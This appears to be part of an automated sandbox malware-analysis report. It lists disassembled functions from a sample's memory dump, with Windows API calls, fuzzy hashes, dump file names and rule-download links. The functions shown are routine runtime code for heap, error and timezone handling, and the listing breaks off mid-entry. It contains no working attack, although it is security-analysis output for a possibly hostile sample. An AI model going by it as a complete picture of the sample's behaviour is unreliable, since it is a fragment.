Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: d4476ff14fb7adf359d638732afd7d2ac0b14402ef3b6f3c21a12e4278dcd045
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 5F110462708E8181DA10EB25F410169AB61BB44BF4F940331EE7D07BEACE3CE4488350

Function 00007FF7102D9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 8af03df93eb97882562127c5197512a0c912d9a778ef30d3dffcf2da9178f88c
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: 81E04F11F09E4242FB197BB1A44517A9A915F98721B804034D90D52391EE2CBC4D4330

Function 00007FF7102D9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7102D9CE5,?,?,00000000,00007FF7102D9D9A), ref: 00007FF7102D9ED6
GetLastError.KERNEL32(?,?,?,00007FF7102D9CE5,?,?,00000000,00007FF7102D9D9A), ref: 00007FF7102D9EE0

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: 95bf02464edc25d113211bec24cd5478de46edd2beadbc20f83ec404bc8adbfb
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: F821C613F1CE8241EE94B765A49037D9B926F847B0F94523AE92E477D5DE6CFC488320

Function 00007FF7102DB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DB1E4

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: bc496c37a5be8dfadf0c79d888f0f482d86b07bd7d5a51d719af8fc0202299a3
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: 1241D633918A0187EA65AB15E56127DFBA1EB55BA0F940131DA8E437D0CF3CF90AC760

Function 00007FF7102C76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7102C774A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 3a89499b786ba1b0a80b5e82581bf051c49abf7b599cbbdd6f26b7daffb0fa17
Instruction ID: a4999c922a626897296ed41f330e5678b1a539a401698495f2ba828c30f53a5e
Opcode Fuzzy Hash: 3a89499b786ba1b0a80b5e82581bf051c49abf7b599cbbdd6f26b7daffb0fa17
Instruction Fuzzy Hash: 0C217421B28A5646FA10BA16AA047FAEA51BF45BE4FC85430DD0D07786DE7DF44DC720

Function 00007FF7102DAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DACD2

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction ID: 9ab2117bcda30c2885cf15b27a27fee60fe8a54f353d8c5a67b70036354b8004
Opcode Fuzzy Hash: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction Fuzzy Hash: 6F318E23A18E4286F751BB1998417BDAE50AB50BB1F910236EA1D137D2CFBCFC498731

Function 00007FF7102D8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7102D8CA7

Part of subcall function 00007FF7102D8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF7102D8DC5
Part of subcall function 00007FF7102D8DA0: GetProcAddress.KERNEL32 ref: 00007FF7102D8DDB
Part of subcall function 00007FF7102D8DA0: FreeLibrary.KERNEL32 ref: 00007FF7102D8E02

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: ca1a2d571a079b8f54b510533715dae3022e8a4023def28a3135ecad6aefc744
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: 90219F33A25B05C9EB25AF64C4402EC7BA0FB04328F94463AD62C06BC5DF78E948C760

Function 00007FF7102D52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5209

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: 8237246494f8a04ed9263caabded2688cde04a42bf6459fe7c16a6cfd324d2f8
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: 39118723A1CA5142EA60BF55940027EFA64BF55BA0F944531EE4C57B95CF7CFC488760

Function 00007FF7102E5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5687

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: aef1523c32d0850b5140d17db408c396f804f4a199ca792b8678549071aa0adb
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: CD216572618E8187DB61AF18D440379FAA0FB94BA4FA44234E65D477D9EF3DE8148B10

Function 00007FF7102CF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF730

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: e4bd270a8cee942c80407af99e9dc6e5e441936de7cf31623d2850cd8b634d61
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 5901A521A18B4241E944FB5659004B9EA95AB55FF0F884631DE5C17BD6DE3CF40A8310

Function 00007FF7102D720C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D724A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction ID: e4062b0b835052435625cda749b3d62e48af932a3336713406fb9fa96acb2683
Opcode Fuzzy Hash: bb049028caba5e04dba667320418798f18563eb801bd7df1d5910388d10efff1
Instruction Fuzzy Hash: 02015B22A09EC241FAA0BA656545179DA90BF457B4FD40239FE9C427C6EF3CFC494320

Function 00007FF7102E6F84 Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102DC90C: HeapAlloc.KERNEL32(?,?,?,00007FF7102CFFB0,?,?,?,00007FF7102D161A,?,?,?,?,?,00007FF7102D2E09), ref: 00007FF7102DC94A

RtlReAllocateHeap.NTDLL(?,?,00000000,00007FF7102E274B,?,?,?,00007FF7102D9267,?,?,?,00007FF7102D915D,?,?,?,00007FF7102D953E), ref: 00007FF7102E6FF1

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Heap$AllocAllocate
String ID:
API String ID: 2177240990-0
Opcode ID: e382dc26276f22423dcda25660a1935eb2fafde86fe36b33accd7187197a4d18
Instruction ID: afcf9515d245a7f21218d5145f02e00d6b01ee0f07f2b3f48ccc9d204836b783
Opcode Fuzzy Hash: e382dc26276f22423dcda25660a1935eb2fafde86fe36b33accd7187197a4d18
Instruction Fuzzy Hash: 23014B01F4CE4340FEB4BA6275542B9EA914F887F0F984230E92E66BC6DD2CF84C4231

Function 00007FF7102D7548 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D7561

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction ID: 898c48b14f221a7b2a60ffd3c6046bd4427b7b94c8b9a2158c2db5ba4f9d907a
Opcode Fuzzy Hash: c51c900cc97cfaa1f2463de7ded10a88eb35566439d91f89b12c497efef6b613
Instruction Fuzzy Hash: 90E0EC92E08A8743FA647AA855822BD9910AFA4360FD04071DD48063C3ED2CFC4C9732

Function 00007FF7102DDEA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7102DA63A,?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A), ref: 00007FF7102DDEFD

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction ID: 4f6fd54a1f3e7f2b941846a26a43c5b7ad7ee0711daeef9d265f9b4ffb00f3a0
Opcode Fuzzy Hash: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction Fuzzy Hash: 6AF06D42B09E4785FE65BB6658113B6DB906FA8B60FD84430D90E8A7C1DE2CFC8D8330

Function 00007FF7102DC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7102CFFB0,?,?,?,00007FF7102D161A,?,?,?,?,?,00007FF7102D2E09), ref: 00007FF7102DC94A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: b66641a7b901ad7decbccf79eba50a5acf22d1946a12d6b050cadf510844d3de
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: DCF05E02B1DA8B45FE54767158213B59A805F44770FE84630E82E473C1DE2CF8498730

Non-executed Functions

Function 00007FF7102CC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7102CC468
RtlCaptureContext.KERNEL32 ref: 00007FF7102CC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7102CC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7102CC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7102CC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7102CC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7102CC56C

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: e95177c0613eecbf49913d1a9bcbca309b6d0c280c5df1230882e4850c34aa18
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 84316D72618F8186EB60AF60E8403EEB764FB84754F84403ADB4D57B98DF38E548C720

Function 00007FF7102C29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7102C342E,?,00007FF7102C3534), ref: 00007FF7102C2A14
FormatMessageW.KERNEL32(?,?,?,00007FF7102C342E), ref: 00007FF7102C2A7D
MessageBoxW.USER32 ref: 00007FF7102C2ACF

Strings

Error, xrefs: 00007FF7102C2ABE
<FormatMessageW failed.>, xrefs: 00007FF7102C2A83
%ls%ls: %ls, xrefs: 00007FF7102C2A96

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction ID: 699346d36107fea3c5fff7d510a2f4ef19bc0b37fb5138230b9c8bf460b0e385
Opcode Fuzzy Hash: 0ded6d4e5eeb2df7dd6c32992adf891535d6bffb348d119068df09e90069f5ad
Instruction Fuzzy Hash: 9F211272618E8582E721AB10F4516DBB764FB887D4F800136EACD63B98DF7CE54ACB50

Function 00007FF7102E4F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7102E4F55

Part of subcall function 00007FF7102E48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48BC

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

Part of subcall function 00007FF7102D9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7102D9BEF,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102D9C19
Part of subcall function 00007FF7102D9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7102D9BEF,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102D9C3E

_get_daylight.LIBCMT ref: 00007FF7102E4F44

Part of subcall function 00007FF7102E4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E491C

_get_daylight.LIBCMT ref: 00007FF7102E51BA
_get_daylight.LIBCMT ref: 00007FF7102E51CB
_get_daylight.LIBCMT ref: 00007FF7102E51DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7102E541C), ref: 00007FF7102E5203

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
